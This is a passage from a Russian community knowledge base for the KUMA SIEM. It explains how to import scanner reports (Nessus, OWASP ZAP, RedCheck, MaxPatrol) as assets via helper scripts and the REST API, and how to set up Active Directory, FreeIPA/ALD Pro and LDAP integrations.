"70658","CVE-2008-5161","2.6","Low","1.2.3.9","tcp","22","SSH Server CBC Mode Ciphers Enabled","The SSH server is configured to use Cipher Block Chaining.","The SSH server is configured to support Cipher Block Chaining (CBC)encryption.  This may allow an attacker to recover the plaintext messagefrom the ciphertext.Note that this plugin only checks for the options of the SSH server anddoes not check for vulnerable software versions.","Contact the vendor or consult product documentation to disable CBC modecipher encryption, and enable CTR or GCM cipher mode encryption.","","The following client-to-server Cipher Block Chaining (CBC) algorithmsare supported:3des-cbcaes128-cbcaes192-cbcaes256-cbcblowfish-cbccast128-cbcThe following server-to-client Cipher Block Chaining (CBC) algorithmsare supported:3des-cbcaes128-cbcaes192-cbcaes256-cbcblowfish-cbccast128-cbc","","","1.9","","2.5","Low","32319","CERT:958563;CWE:200","","2013/10/28","2018/07/30","","",""
```

Далее необходимо хапустить скрипт `import_asset_Nessus_OWASP.py` по этому отчету указав необходимые параметры для его корректного запуска. Возможные опции скрипта:

```python
# python import_asset.py --help
usage: import_asset.py [-h] --kuma KUMA --token TOKEN --tenant TENANT --vendor {Nessus,OWASPZAP} --filepath FILEPATH

options:
  -h, --help                  show this help message and exit
  --kuma KUMA                 IP адрес сервера KUMA
  --token TOKEN               Токен API
  --tenant TENANT             Имя Тенанта
  --vendor {Nessus,OWASPZAP}  Наименование вендора
  --filepath FILEPATH         Путь до отчета
```

Пример запуска по отчету Nessus:

```python
python3 import_asset_Nessus_OWASP.py --kuma 10.68.85.126 --token 98417b064c2a5cdfdf6bd011126c6453 --tenant  Main --vendor Nessus --filepath C:\Users\ose\Downloads\nessus.csv
```

В KUMA актив будет выглядит следующим образом:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/kmzimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/kmzimage.png)

### Импорт отчета от OWASP ZAP

Пример отчета от Nessus в формате CSV:

```json
{
    "@programName": "OWASP ZAP",
    "@version": "2.13.0",
    "@generated": "Mon, 25 Sep 2023 11:43:20",
    "site": [
        {
            "@name": "https://demo.lab",
            "@host": "demo.lab",
            "@port": "443",
            "@ssl": "true",
            "alerts": [
                {
                    "pluginid": "10035",
                    "alertRef": "10035",
                    "alert": "Strict-Transport-Security Header Not Set",
                    "name": "Strict-Transport-Security Header Not Set",
                    "riskcode": "1",
                    "confidence": "3",
                    "riskdesc": "Low (High)",
					"reference": "https://ya.ru",
                    "desc": "<p>HTTP Strict Transport Security (HSTS)"
                }
            ]
        }
    ]
}
```

Далее необходимо хапустить скрипт `import_asset_Nessus_OWASP.py` по этому отчету указав необходимые параметры для его корректного запуска. Возможные опции скрипта:

```python
# python import_asset.py --help
usage: import_asset.py [-h] --kuma KUMA --token TOKEN --tenant TENANT --vendor {Nessus,OWASPZAP} --filepath FILEPATH

options:
  -h, --help                  show this help message and exit
  --kuma KUMA                 IP адрес сервера KUMA
  --token TOKEN               Токен API
  --tenant TENANT             Имя Тенанта
  --vendor {Nessus,OWASPZAP}  Наименование вендора
  --filepath FILEPATH         Путь до отчета
```

Пример запуска по отчету OWASP ZAP:

```python
python3 import_asset_Nessus_OWASP.py --kuma 10.68.85.126 --token 98417b064c2a5cdfdf6bd011126c6453 --tenant  Main --vendor OWASPZAP --filepath C:\Users\ose\Downloads\owasp.json
```

В KUMA актив будет выглядит следующим образом:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/lfnimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/lfnimage.png)

# Импорт информации об активах RedCheck

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

### Импорт информации об активах RedCheck

В KUMA можно импортировать сведения об активах из отчетов о результатах сканирования сетевых устройств с помощью RedCheck, системы контроля защищенности и соответствия стандартам. Импорт происходит через API с помощью утилиты `redcheck-tool.py`. Импортированные активы отображаются в веб-интерфейсе KUMA в разделе Активы. При необходимости вы можете редактировать параметры активов.

<p class="callout info">Импорт поддерживается из RedCheck 2.6.8 и выше</p>

<p class="callout info">Поддерживается импорт информации о хостах только под управлением ОС Windows</p>

<p class="callout warning">Для работы утилиты требуется python верси 3.6 или выше, а также библиотеки: csv, re, json, requests, argparse, sys  
</p>

Чтобы импортировать данные об активах из отчета RedCheck:

1\. Сформируйте в RedCheck отчет сканирования сетевых активов в формате CSV и скопируйте файл отчета на сервер со скриптом. Подробнее о задачах на сканирование и форматах выходных файлов см. в документации RedCheck.

<p class="callout warning">Импорт доступен из "Простых" отчетов "**Уязвимости**" и "**Инвентаризация**" сгруппированных по хостам в формате CSV. Подробнее на сайте RedCheck: [https://docs.redcheck.ru/articles/#!redcheck-user-269/reports](https://docs.redcheck.ru/articles/#!redcheck-user-269/reports) </p>

2\. Создайте токен для доступа к KUMA REST API.

Требования к учетным записям, для которых генерируется API-токен:

- Роль Администратора или Аналитика.
- Доступ к тенанту, в который будут импортированы активы.
- Настроены права на использование API-запросов GET /assets, GET /tenants, POST /assets/import

3\. Скопируйте утилиту redcheck-tool.py на сервер ядра KUMA и сделайте файл утилиты исполняемым с помощью команды:

```bash
chmod +x <путь до файла redcheck-tool.py>
```

4\. Запустите утилиту redcheck-tool.py:

```bash
python3 redcheck-tool.py --kuma-rest <адрес и порт сервера KUMA REST API> --token <API-токен> --tenant <название тенанта, куда будут помещены активы> --vuln-report <Полный путь к файлу отчета "Уязвимости"> --inventory-report <Полный путь к файлу с отчета "Инвентаризация">
```

Пример:

```bash
python3 --kuma-rest example.kuma.com:7223 --token 949fc03d97bad5d04b6e231c68be54fb --tenant Main --vuln-report /home/user/vuln.csv --inventory-report /home/user/inventory.csv
```

Вы можете использовать дополнительные флаги и команды для импорта. Например, команду для отображения расширенного отчета о полученных активах `-v`. Подробное описание доступных флагов и команд приведено в таблице Флаги и команды утилиты redcheck-tool.py. Также для просмотра информации о доступных флагах и командах вы можете использовать команду `--help`.

Информация об активах будет импортирована из отчета RedCheck в KUMA. В консоли отображаются сведения о количестве новых и обновленных активов.

Пример:

```
inventory has been imported for 2 host(s)
software has been imported for 5 host(s)
vulnerabilities has been imported for 4 host(s)
```

Пример расширенного вывода информации об импорте:

```
[inventory import]           Host: localhost        Code: 200  Response: {'insertedIDs': {'0': '52ca11c6-a0e6-4dfd-8ef9-bf58189340f8'}, 'updatedCount': 0, 'errors': []}
[inventory import]           Host: 10.0.0.2         Code: 200  Response: {'insertedIDs': {'0': '1583e552-5137-4164-92e0-01e60fb6edb0'}, 'updatedCount': 0, 'errors': []}
[software import][error]     Host: localhost        Skipped asset with FQDN localhost or IP 127.0.0.1
[software import]            Host: 10.0.0.2         Code: 200  Response: {'insertedIDs': {}, 'updatedCount': 1, 'errors': []}
[vulnerabilities import]     Host: 10.0.0.2         Code: 200  Response: {'insertedIDs': {}, 'updatedCount': 1, 'errors': []}
[vulnerabilities import]     Host: 10.0.0.1         Code: 200  Response: {'insertedIDs': {'0': '0628f683-c20c-4107-abf3-d837b3dbbf01'}, 'updatedCount': 0, 'errors': []}
[vulnerabilities import]     Host: localhost        Code: 200  Response: {'insertedIDs': {}, 'updatedCount': 1, 'errors': []}
[vulnerabilities import]     Host: 10.0.0.3         Code: 200  Response: {'insertedIDs': {'0': 'ed01e0a8-dcb0-4609-ab2b-91e50092555d'}, 'updatedCount': 0, 'errors': []}
inventory has been imported for 2 host(s)
software has been imported for 1 host(s)
vulnerabilities has been imported for 4 host(s)
```

Поведение утилиты при импорте активов:

- Данные импортированных в KUMA через API активов перезаписываются, а сведения об их устраненных уязвимостях удаляются.
- Активы с недействительными данными пропускаются.

#### Флаги и команды утилиты redcheck-tool.py

<table border="1" id="bkmrk-%D0%A4%D0%BB%D0%B0%D0%B3%D0%B8-%D0%B8-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D1%8B-%D0%9E%D0%B1%D1%8F%D0%B7" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 44.7355%;"></col><col style="width: 15.6959%;"></col><col style="width: 39.5439%;"></col></colgroup><tbody><tr><td class="align-center">**Флаги и команды**</td><td>**Обязательный**</td><td class="align-center">**Описание**</td></tr><tr><td>--kuma-rest &lt;адрес и порт сервера ядра KUMA&gt;</td><td style="text-align: justify;">Да</td><td style="text-align: justify;">По умолчанию для обращения по API используется порт 7223. При необходимости его можно изменить.</td></tr><tr><td>--token &lt;токен&gt;</td><td style="text-align: justify;">Да</td><td style="text-align: justify;">Значение в параметре должно содержать только токен. Учетной записи, для которой генерируется API-токен, должна быть присвоена роль Администратора или Аналитика.</td></tr><tr><td>--tenant &lt;название тенанта&gt;</td><td>Да</td><td>Название тенанта KUMA, в который будут импортированы активы из отчета RedCheck</td></tr><tr><td>--vuln-report &lt;полный путь к файлу отчета "Уязвимости"&gt;</td><td>Да</td><td>Файл должен содержать отчет "Уязвимости" в формате CSV</td></tr><tr><td>--inventory-report &lt;полный путь к файлу отчета "Инвентаризация"&gt;</td><td>Нет</td><td>Файл должен содержать отчет "Инвентаризация" в формате CSV</td></tr><tr><td>-v </td><td>Нет</td><td>Выведение расширенной информации об импорте активов</td></tr></tbody></table>

#### Возможные ошибки

<table border="1" id="bkmrk-%D0%A1%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BE%D0%B1-%D0%BE%D1%88%D0%B8%D0%B1%D0%BA%D0%B5-" style="border-collapse: collapse; width: 100%; height: 207.2px;"><colgroup><col style="width: 50.0494%;"></col><col style="width: 50.0494%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td class="align-center" style="height: 29.6px;">**Сообщение об ошибке**</td><td class="align-center" style="height: 29.6px;">**Описание**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">Tenant %w not found</td><td style="height: 29.6px;">Имя тенанта не найдено</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">Tenant search error: Unexpected status Code: %d</td><td style="height: 29.6px;">При поиске тенанта был получен неожиданный код ответа HTTP</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">Asset search error: Unexpected status Code: %d</td><td style="height: 29.6px;">При поиске актива был получен неожиданный код ответа HTTP</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">\[%w import\]\[error\] Host: %w Skipped asset with FQDN localhost or IP 127.0.0.1</td><td style="height: 29.6px;">При импорте информации инвентаризации/уязвимостей был пропущен хост с fqdn=localhost или ip=127.0.0.1</td></tr></tbody></table>

# Импорт данных из отчетов MaxPatrol в KUMA 3.2

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout success">Ссылка на документацию [https://support.kaspersky.com/help/KUMA/3.2/ru-RU/265426.htm](https://support.kaspersky.com/help/KUMA/3.2/ru-RU/265426.htm) </p>

#### Импорт

Утилита для импорта находится в следующей директории **kuma-ansible-installer/roles/kuma/files/maxpatrol-tool**

Для импорта необходимо выполнить следующие шаги:

1. Сформировать отчет **сканирования сетевых активов в формате <span class="boldcharacter">XML file  
    </span>**
2. <span class="boldcharacter">Поместить отчет и скрипт в одной директории (можно выполнить на ядре KUMA)</span>
3. <span class="boldcharacter">Подготовить API права для утилиты:</span>
    1. <span class="boldcharacter">В KUMA создать пользователя kuma-mp</span>
    2. <span class="boldcharacter">Дать права на **GET /users/whoami** и **POST /assets/import**</span>
    3. Сгенерировать токен (его сохранить в файл на сервере, где будет выполнятся команда
4. Далее в веб-консоли KUMA нужно будет скачать REST API CA [![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/9lZimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/9lZimage.png)
5. Этот сертификат нужно перенести на сервер, где будет выполнятся скрипт
6. Выполнить команду: ```
    ./maxpatrol-tool --kuma-rest <адрес и порт сервера KUMA REST API> --token <путь и имя файла с API-токеном> --tenant <название тенанта, куда будут помещены активы> <путь и имя файла с отчетом MaxPatrol> --cert <путь к файлу сертификата Ядра KUMA>
    ```
    
    Пример:
    
    ```
    ./maxpatrol-tool --kuma-rest example.kuma.com:7223 --token token.txt --tenant Main mp.xml --cert core-external-ca.cert
    ```
7. Для автоматизации добавления активов из папки по отчетам - можно воспользоваться **[скриптом](https://github.com/KUMA-Community/kuma_vuln_report_auto).**

# Импорт данных об активах из MaxPatrol VM

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout warning">Данная статья является дополнением к основной статье официальной документации [https://support.kaspersky.com/help/KUMA/3.2/ru-RU/265427.htm](https://support.kaspersky.com/help/KUMA/3.2/ru-RU/265427.htm) </p>

<p class="callout info">Протестирована работоспособность c MaxPatrol VM 2.1 и 2.9  
</p>

### Подготовительные действия в MP VM

Созданной учетной записи в MaxPatrol VM присвойте роль "Оператор".

### Создание конфигурационного файла

В конфигурационном файле **kuma-ptvm-config.yaml**:

- в секции **MaxPatrol** для параметра **endpoint** укажите MP API endpoint URL без указания cхемы (https://) и порта (по умолчанию, MP VM использует порт 443 для API-запросов)
- в секции **MaxPatrol** для параметра **password** укажите пароль, при этом учитывайте, что если пароль содержит спецсимволы (":", "-", "$", "\*" и др.), в таком случае пароль необходимо "обернуть" в одинарные или двойные кавычки
- в секции **tenants** для параметра **fqdn** укажите регулярное выражение ".\*", если не требуется искать активы, fqdn которых соответствует заданному регулярному выражению
- в секции **tenants** можно не указывать значения подсетей для параметра **networks**, если необходимо импортировать все активы, доступные в MP VM

### Поиск импортированных активов

Для поиска импортированных активов MP VM перейдите в **Активы** -&gt; Выберите **Поиск с условиями** и задайте условие согласно скриншоту ниже.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/scaled-1680-/steimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/steimage.png)

Нажмите **Поиск**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/scaled-1680-/Yfvimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/Yfvimage.png)

<p class="callout info">Если актив уже ранее был импортирован из KSC и аналогичный актив импортируется из MP VM, в таком случае карточка актива дополнится информацией об уязвимостях, обнаруженных MP VM.</p>

<p class="callout info">Если актив изначально был импортирован из MP VM и далее аналогичный актив (с аналогичным IP и FQDN) будет импортирован из KSC, в таком случае актив "переподчинится" на управляемый из KSC.</p>

Для поиска активов, которые ранее уже были импортированы из KSC и информация в карточке таких активов была дополнена данными MP VM, выберите **Поиск с условиями** и задайте условия согласно скриншоту ниже.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/scaled-1680-/2XRimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/2XRimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/scaled-1680-/Fnpimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/Fnpimage.png)

Нажмите **Поиск**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/scaled-1680-/QSHimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/QSHimage.png)

<span style="color: rgb(0, 0, 0);">Карточка актива с информацией об уязвимостях, полученной из KSC и из MP VM выглядит согласно скриншоту ниже.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/scaled-1680-/0Hhimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-10/0Hhimage.png)

# Автоматическое добавление активов

### <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Описание</span></span></span>

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Данный скрипт и набор ресурсов позволяют автоматически на основании информации из событий (ip-адреса, доменные имена) создавать активы в KUMA</span></span></span>

<p class="callout warning"><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Данный скрипт рекомендуется использовать только в тестовой или демонстрационной инсталляции</span></span></span></p>

---

### <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Требования</span></span></span>

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">python 3.6+</span></span></span>

- <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">urllib</span></span></span>
- <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">argparse</span></span></span>
- <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">json</span></span></span>
- <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">requests</span></span></span>
- <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">os</span></span></span>

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">KUMA 3.0.2</span></span></span>

---

### <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Подготовка скрипта</span></span></span>

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">1. Поместите файлы </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">asset-import.py</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">, </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">kumaPublicApiV1.py</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">, </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">params.json</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true"> на сервер коррелятора в папку scripts: /opt/kaspersky/kuma/correlator/</span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">id</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">/scripts</span></span></span>

<span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">id</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true"> коррелятора можно получить из веб-интерфейса KUMA: Ресурсы -&gt; Активные сервисы -&gt; Выбрать галочкой коррелятор и в верхнем меню </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">Копировать идентификатор сервиса</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">. Идентификатор будет скопирован в буфер обмена.</span></span></span>

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">2. Внесите изменения в файл </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">params.json</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">:</span></span></span>

- <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">kumaAddress - укажите ip-адрес сервера ядра KUMA</span></span></span>
- <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">kumaAPIPort - укажите API-порт ядра KUMA (значение по умолчанию </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">7223</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">, если сомневаетесь - оставьте без изменений)</span></span></span>
- <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">kumaToken - токен для работы с API с правами </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">POST /assets/import</span>`</span></span>

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">3. Измените владельца файлов на kuma:</span></span></span>

```
chown kuma:kuma asset-import.py kumaPublicApiV1.py params.json
```

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">4. Разрешите запуск файла </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">asset-import.py</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">:</span></span></span>

```
chmod +x asset-import.py
```

---

### <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Подготовка KUMA</span></span></span>

1. <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Импортируйте все ресурсы из файла </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">auto_asset_add</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true"> (Пароль импорта: Qwerty123!)</span></span></span>
2. <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Если нужно, внесите изменения в фильтры </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">org address filter</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true"> и </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">org hostname filter</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">, указав домены и подсети вашей организации, по ним отбираются активы из событий для импорта.</span></span></span>
3. <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Привяжите все правила корреляции </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">Auto import asset info (src/dst/dvc)</span>`</span></span><span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true"> к коррелятору</span></span></span>
4. <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Привяжите правило реагирования </span></span></span><span data-slate-node="text"><span data-slate-leaf="true">`<span data-slate-string="true">Auto asset import</span>`</span></span>
5. <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Обновите параметры сервиса коррелятора</span></span></span>

---

### <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Результат</span></span></span>

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">В результате проделанных манипуляций в KUMA будут создаваться активы на основании информации, получаемой из событий.</span></span></span>

---

### <span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Файлы</span></span></span>

<span data-slate-node="text"><span data-slate-leaf="true"><span data-slate-string="true">Все ресурсы доступны по ссылке: [https://box.kaspersky.com/d/1eb25f174a3e44e2a1be/](https://box.kaspersky.com/d/1eb25f174a3e44e2a1be/)</span></span></span>

# AD/LDAP/ALD Pro

Интеграции с различными службами каталогов

# Интеграция KUMA с Active Directory (AD)

<p class="callout warning">При интеграции с AD/ADFS важно иметь единое время на системах, настоятельно рекомендуется настроить NTP  
</p>

<div class="align-center" id="bkmrk-"><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" frameborder="0" height="315" src="https://www.youtube.com/embed/1Rw6qOWF7jc?si=vOId0Aj4wFH-Vr47" title="YouTube video player" width="560"></iframe>

</div><div id="bkmrk--1"></div><div id="bkmrk-%C2%A0"> </div><div id="bkmrk-%D0%90%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F-%D1%80%D0%B0%D0%B1%D0%BE%D1%82">Аутентификация работает только для одного домена. Поэтому все группы должны быть созданы в корневом домене.</div><div id="bkmrk--2"></div><div id="bkmrk-%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80-%D0%B8%D0%BD%D1%84%D1%80%D0%B0%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80">Пример инфраструктуры AD:</div><div id="bkmrk-%D0%BA%D0%BE%D1%80%D0%BD%D0%B5%D0%B2%D0%BE%D0%B9-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD-%D0%BB%D0%B5%D1%81%D0%B0-">- корневой домен леса - example.com
- контроллер домена - dc-01.example.com
- дочерний домен - subdomain.example.com

</div>В дочернем домене созданы:

<div id="bkmrk-ou-%C2%ABkuma-subdomain%C2%BB-">- OU «KUMA subdomain»
- Universal группы безопасности: «kuma\_subdomain\_analyst», «kuma\_subdomain\_admin», «kuma\_subdomain\_operators»
- Пользователи: subdom\_admin, subdom\_analyst

</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/bpuimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/bpuimage.png)

Пользователи являются членами соответствующих групп:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/9Dkimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/9Dkimage.png)

### Настройки KUMA   


Base DN – корневой домен (**не обязательно весь корневой домен**, зависит от вашего AD)

URL – контроллеры корневого домена, порт глобального каталога (**обязательно**)

Важно:

- Все группы доступа должны быть UNIVERSAL
- У пользователей в AD должно быть заполнен атрибут **email**

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/lLwimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/lLwimage.png)

Далее – для каждого тенанта указываете DistinguishedName групп, соответствующих правам доступа.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/eIEimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/eIEimage.png)

Информация по ролям и их возможностям: [https://support.kaspersky.com/help/KUMA/2.1/ru-RU/218031.htm](https://support.kaspersky.com/help/KUMA/2.1/ru-RU/218031.htm)

Важный момент:

- Предоставление доступа происходит по принципу «**наименьших прав**». Если учетка пользователя одновременно состоит нескольких в группах одного тенанта.
- Например: kuma-analysts и kuma-admins, то пользователь получит права аналитика. Поэтому, при переводе работников из операторов в аналитики или аналитиков в админы, необходимо не только добавить пользователя в соответствующую новую группы, но еще и удалить из старой группы.

### Результат  


Для доменной аутентификации, как таковой учетки в KUMA не требуется. Когда все настроено, вводится доменный логин и пароль и в этот момент KUMA биндится к LDAP.

При аутентификации, пользователь вводит в консоль свою доменную учетку в формате UPN (user@example.com) и, на основании членства этой учетки в той или иной группе, пользователю предоставляется доступ к разным тенантам с указанными правами.

- Залогинившись под доменной учеткой [subdom\_analyst@subdomain.example.com](mailto:subdom_analyst@subdomain.example.com)
- Получаем права роли analyst в тенанте Main

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/N4Kimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/N4Kimage.png)

Пример входа в KUMA с доменной учетной записью (kuma-admin@sales.lab):

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/5qZimage.png)

<p class="callout info">Права API можно выдавать только для внутренних пользователей, не из AD</p>

### Порты AD

<div id="bkmrk-%D0%9F%D0%BE%D1%80%D1%82-3268.-%D0%AD%D1%82%D0%BE%D1%82-%D0%BF%D0%BE%D1%80%D1%82">- Порт **3268**. Этот порт используется для запросов, специально предназначенных для глобального каталога. Запросы LDAP, отправленные на порт 3268, можно использовать для поиска объектов во всем лесу. Однако могут быть возвращены только атрибуты, помеченные для репликации в глобальный каталог. Например, отдел пользователя не может быть возвращен через порт 3268, так как этот атрибут не реплицируется в глобальный каталог.
- Порт **389**. Этот порт используется для запроса информации с локального контроллера домена. Запросы LDAP, отправленные на порт 389, можно использовать для поиска объектов только в домашнем домене глобального каталога. Однако запрашивающее приложение может получить все атрибуты этих объектов. Например, запрос на порт 389 может быть использован для получения отдела пользователя.
- При интеграции с SSL необходимо использовать сертификат Active Directory. В KUMA поддерживаются открытые ключи сертификата X.509 в Base64. Стандартный порт LDAPS - **636**.

</div>### Полезные команды

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/SH3image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/SH3image.png)

# Интеграция KUMA с ALD Pro и FreeIPA

<p class="callout danger">Интеграция является не официальной</p>

<p class="callout info">Документация по службе каталогов для Linux Astra ALD Pro: [https://astra.ru/software-services/application-software-astra-group/ald-pro/#docs](https://astra.ru/software-services/application-software-astra-group/ald-pro/#docs) </p>

<p class="callout info">Настройки выполняются по налогии со статьей: [https://kb.kuma-community.ru/books/integracii/page/integraciia-kuma-s-active-directory-ad](https://kb.kuma-community.ru/books/integracii/page/integraciia-kuma-s-active-directory-ad) </p>

<p class="callout warning">При интеграции с ALD Pro важно иметь единое время на системах, настоятельно рекомендуется настроить NTP  
</p>

<div id="bkmrk--1"></div>Выберите тип интеграции FreeIPA и группы для учетных записей заводите в таком виде:

```bash
uid=is.ldap.usr,cn=users,cn=accounts,dc=company,dc=com 
```

<div id="bkmrk-%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9-%D0%B8">Пример настроенной интеграции:</div><div id="bkmrk-"></div>![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-01/scaled-1680-/sDGimage.png)

В итоге доменная аутентификация работает и пользователи появлялись с заданными правами.

Для успешной аутентификации необходимо соблюдать следующие условия при входе в систему пользователю следует указывать в логине домен заглавными буквами. Пример: <user@FREEIPA.COM>.

Также проверьте пожалуйста что у пользователя задана почта. Почта является обязательным параметром при создании учетной записи в KUMA.

# Выгрузка LDAP информации в словарь KUMA

<p class="callout info">Предварительно нужно выполнить настройку обогащение по этой статье [https://kb.kuma-community.ru/books/integracii/page/ldap-obogashhenie](https://kb.kuma-community.ru/books/integracii/page/ldap-obogashhenie)</p>

### Инструкция для KUMA до версий 4.0

#### Шаг 1.

Нам нужно выгрузить сопоставление, например login(sAMAccountName)-mail. Создаете словарь типа таблица (важно), ключ login, колонка mail. Добавляете одну запись любую, чтобы сохранить словарь можно было.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/PBAimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/PBAimage.png)

Если нужно выгрузить другое поле, посмотрите его название по примеру вывода одной записи из обогащения:  
